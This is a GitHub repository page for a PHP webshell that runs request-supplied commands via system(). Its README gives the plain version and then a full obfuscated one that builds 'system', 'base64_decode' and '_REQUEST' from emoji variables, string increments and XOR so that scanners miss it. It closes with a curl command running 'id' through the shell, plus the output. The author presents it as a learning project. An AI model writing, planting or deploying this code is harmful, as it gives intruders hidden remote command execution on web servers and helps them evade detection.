Skip to content

nightfury99/php-emoji-webshell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

12 Commits
ย 
ย 
ย 
ย 

Repository files navigation

php-emoji-webshell

๐Ÿฅธ Nothing new about this webshell, just use same techniques like XOR and self increment operations.

Basically this code

<?php

$a = $_REQUEST[4] ? base64_decode($_REQUEST[4]) : 'whoami';
@system($a);

Turn into emoji, self increment and XOR operations.

<?php

$_=[];                      // $_ = [];
$_=@"$_";                   // $_ = "Array";
$__=("_"=="_")+("_"=="_");  // $__ = 1 + 1;
$_=@$_[++$__];              // $_ = $_[3] // "Array"[3]

$๐ŸŒ=$_++; // a
$๐Ÿคฎ=$_++; // b
$๐Ÿช=$_++; // c
$๐Ÿซฃ=$_++; // d
$๐Ÿง=$_++; // e
$๐ŸŽ‚=$_++; // f
$๐Ÿฅƒ=$_++; // g
$๐Ÿ”=$_++; // h
$๐ŸŒ˜=$_++; // i
$๐ŸŒ—=$_++; // j
$๐ŸŒ–=$_++; // k
$๐ŸŒ•=$_++; // l
$๐ŸŒ’=$_++; // m
$๐ŸŒ“=$_++; // n
$๐ŸŒ”=$_++; // o
$๐ŸŒฐ=$_++; // p
$๐Ÿ˜=$_++; // q
$๐Ÿฅ—=$_++; // r
$๐Ÿฅฅ=$_++; // s
$๐Ÿ‘=$_++; // t
$๐Ÿ‹=$_++; // u
$๐Ÿง‡=$_++; // v
$๐ŸŒฎ=$_++; // w
$๐Ÿ•=$_++; // x
$๐Ÿฅฏ=$_++; // y
$๐Ÿฃ=$_;   // z

$__++; // 4
$__++; // 5
$__++; // 6
$๐Ÿ‘ฟ=$๐Ÿคฎ.$๐ŸŒ.$๐Ÿฅฅ.$๐Ÿง.$__; // base6
$__--; // 5
$__--; // 4
$๐Ÿ‘ฟ.=$__.("#"^"|").$๐Ÿซฃ.$๐Ÿง.$๐Ÿช.$๐ŸŒ”.$๐Ÿซฃ.$๐Ÿง; // base64_decode

$๐Ÿ’€=$๐Ÿฅฅ.$๐Ÿฅฏ.$๐Ÿฅฅ.$๐Ÿ‘.$๐Ÿง.$๐ŸŒ’; // system
$๐Ÿฅณ=("#"^"|").($๐Ÿ˜^"#").($๐ŸŽ‚^"#").($๐Ÿฅ—^"#").($๐Ÿง‡^"#").($๐ŸŽ‚^"#").($๐ŸŒฐ^"#").($๐ŸŒฎ^"#"); // _REQUEST
$๐Ÿคฏ=@${$๐Ÿฅณ}[$__] ? $๐Ÿ‘ฟ(@${$๐Ÿฅณ}[$__]) : $๐ŸŒฎ.$๐Ÿ”.$๐ŸŒ”.$๐ŸŒ.$๐ŸŒ’.$๐ŸŒ˜; // $_REQUEST[4] ? base64_decode($_REQUEST[4]) : "whoami"
@$๐Ÿ’€($๐Ÿคฏ); // @system("command")

Execute the webshell.

โฏ curl http://127.0.0.1/emoji.php\?4\=`echo id | base64`
uid=501(someone) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),101(access_bpf),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae),701(com.apple.sharepoint.group.1)

Im just building this for fun and for the sake of learning new things. โ˜•๏ธ๐Ÿฅฏ

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages